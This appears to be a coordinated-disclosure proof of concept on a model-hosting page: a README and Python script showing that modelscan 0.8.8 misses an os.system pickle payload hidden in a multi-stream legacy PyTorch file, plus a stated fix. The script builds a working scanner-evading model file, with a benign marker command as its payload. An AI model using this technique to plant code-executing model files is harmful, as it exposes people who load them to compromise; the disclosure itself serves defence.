Upload 3 files
Browse files- README.md +43 -0
- evil_legacy.pt +3 -0
- poc.py +64 -0
README.md
CHANGED
|
@@ -1,3 +1,46 @@
|
|
| 1 |
---
|
| 2 |
license: mit
|
|
|
|
|
|
|
|
|
|
| 3 |
---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
---
|
| 2 |
license: mit
|
| 3 |
+
tags:
|
| 4 |
+
- security-poc
|
| 5 |
+
- coordinated-disclosure
|
| 6 |
---
|
| 7 |
+
|
| 8 |
+
# PoC: modelscan 0.8.8 multi-pickle legacy scan bypass (scanner evasion)
|
| 9 |
+
|
| 10 |
+
> Coordinated-disclosure proof-of-concept submitted to huntr. The model file in this
|
| 11 |
+
> repository is a **benign test artifact**: its payload only runs `touch MP_legacy_pwn`
|
| 12 |
+
> (creates an empty marker file in the working directory). No network access, no
|
| 13 |
+
> destructive action. Do not load untrusted model files.
|
| 14 |
+
|
| 15 |
+
## What this demonstrates
|
| 16 |
+
`modelscan` 0.8.8 reports `evil_legacy.pt` as clean ("No issues found! ๐", exit 0), yet
|
| 17 |
+
`torch.load("evil_legacy.pt", weights_only=False)` executes the payload. The identical
|
| 18 |
+
`os.system` operator in a single-stream pickle **is** flagged โ so this is a scan-coverage
|
| 19 |
+
correctness defect, not a denylist gap.
|
| 20 |
+
|
| 21 |
+
This is a **scanner-evasion** finding (huntr "unique methods to bypass our automated
|
| 22 |
+
scanners"), not a report of pickle deserialization itself. Root cause: `scan_pytorch()`
|
| 23 |
+
(`modelscan/tools/picklescanner.py`) calls `scan_pickle_bytes(..., multiple_pickles=False)`,
|
| 24 |
+
so `_list_globals()` breaks after the first of the file's sequential pickle streams and
|
| 25 |
+
never inspects the model object graph.
|
| 26 |
+
|
| 27 |
+
## How the PoC model was created
|
| 28 |
+
A well-formed 5-stream PyTorch legacy file: magic number, protocol, sys_info, the
|
| 29 |
+
`os.system` payload object, and an empty storage-keys list (so `torch.load` returns
|
| 30 |
+
without error โ a valid file, not malformed). See `poc.py`.
|
| 31 |
+
|
| 32 |
+
## Files
|
| 33 |
+
- `evil_legacy.pt` โ the malicious-but-benign model file (modelscan-clean, executes on load).
|
| 34 |
+
- `poc.py` โ self-contained: builds the file, scans it (clean), loads it (executes), and runs a single-stream control (flagged). One command.
|
| 35 |
+
|
| 36 |
+
## Reproduce
|
| 37 |
+
```
|
| 38 |
+
pip install "modelscan==0.8.8" torch
|
| 39 |
+
modelscan -p evil_legacy.pt # -> No issues found! ๐ (exit 0)
|
| 40 |
+
python -c "import torch; torch.load('evil_legacy.pt', weights_only=False)" # -> creates MP_legacy_pwn
|
| 41 |
+
python poc.py # full differential, prints: RESULT: PASS
|
| 42 |
+
```
|
| 43 |
+
|
| 44 |
+
## Affected / fix
|
| 45 |
+
modelscan 0.8.8 (latest at disclosure). Fix: pass `multiple_pickles=True` in the PyTorch
|
| 46 |
+
legacy scan path (`scan_pytorch`), matching the non-legacy behaviour.
|
evil_legacy.pt
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8c15a6a902285a1fd34edcfe1d2c8a836634e237e2bcc98fb9d356dafed156a9
|
| 3 |
+
size 106
|
poc.py
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Self-contained PoC: modelscan 0.8.8 inspects only the first of multiple sequential
|
| 3 |
+
pickle streams in a PyTorch legacy .pt, reporting a malicious file as clean while
|
| 4 |
+
torch.load(weights_only=False) executes the payload.
|
| 5 |
+
|
| 6 |
+
Requires: modelscan==0.8.8, torch. Run: python poc.py
|
| 7 |
+
Payload is a benign marker (touch MP_legacy_pwn); no network, no destructive action.
|
| 8 |
+
"""
|
| 9 |
+
import os, sys, pickle, subprocess
|
| 10 |
+
|
| 11 |
+
MAGIC = 0x1950a86a20f9469cfc6c # PyTorch legacy magic number
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
def build_multi(path):
|
| 15 |
+
# Valid legacy layout torch._legacy_load expects: magic, protocol, sys_info,
|
| 16 |
+
# main object (payload here), then deserialized storage keys (empty -> no
|
| 17 |
+
# trailing storage data). The empty-keys stream makes torch.load() return
|
| 18 |
+
# cleanly WITHOUT EOFError, so this is a well-formed file, not a malformed one.
|
| 19 |
+
class Payload:
|
| 20 |
+
def __reduce__(self):
|
| 21 |
+
return (os.system, ("touch MP_legacy_pwn",))
|
| 22 |
+
streams = [pickle.dumps(MAGIC), pickle.dumps(1001), pickle.dumps({}),
|
| 23 |
+
pickle.dumps(Payload()), pickle.dumps([])]
|
| 24 |
+
with open(path, "wb") as f:
|
| 25 |
+
f.write(b"".join(streams))
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
def build_single(path):
|
| 29 |
+
class Ctl: # same operator, single stream (control)
|
| 30 |
+
def __reduce__(self):
|
| 31 |
+
return (os.system, ("true",))
|
| 32 |
+
with open(path, "wb") as f:
|
| 33 |
+
f.write(pickle.dumps(Ctl()))
|
| 34 |
+
|
| 35 |
+
|
| 36 |
+
def scan(path):
|
| 37 |
+
r = subprocess.run(["modelscan", "-p", path], capture_output=True, text=True)
|
| 38 |
+
return r.stdout + r.stderr
|
| 39 |
+
|
| 40 |
+
|
| 41 |
+
build_multi("evil_legacy.pt")
|
| 42 |
+
multi_clean = "No issues found" in scan("evil_legacy.pt")
|
| 43 |
+
|
| 44 |
+
if os.path.exists("MP_legacy_pwn"):
|
| 45 |
+
os.remove("MP_legacy_pwn")
|
| 46 |
+
import torch
|
| 47 |
+
load_ok = False
|
| 48 |
+
try:
|
| 49 |
+
torch.load("evil_legacy.pt", weights_only=False)
|
| 50 |
+
load_ok = True # well-formed file: loads without error
|
| 51 |
+
except Exception:
|
| 52 |
+
pass
|
| 53 |
+
executed = os.path.exists("MP_legacy_pwn")
|
| 54 |
+
|
| 55 |
+
build_single("evil_single.pkl")
|
| 56 |
+
single_flagged = "system" in scan("evil_single.pkl").lower()
|
| 57 |
+
|
| 58 |
+
print("multi-stream .pt scan clean :", multi_clean)
|
| 59 |
+
print("torch.load completed cleanly:", load_ok)
|
| 60 |
+
print("loader executed payload :", executed)
|
| 61 |
+
print("single-stream control flagged:", single_flagged)
|
| 62 |
+
ok = multi_clean and load_ok and executed and single_flagged
|
| 63 |
+
print("RESULT:", "PASS - scanner bypass confirmed" if ok else "FAIL")
|
| 64 |
+
sys.exit(0 if ok else 1)
|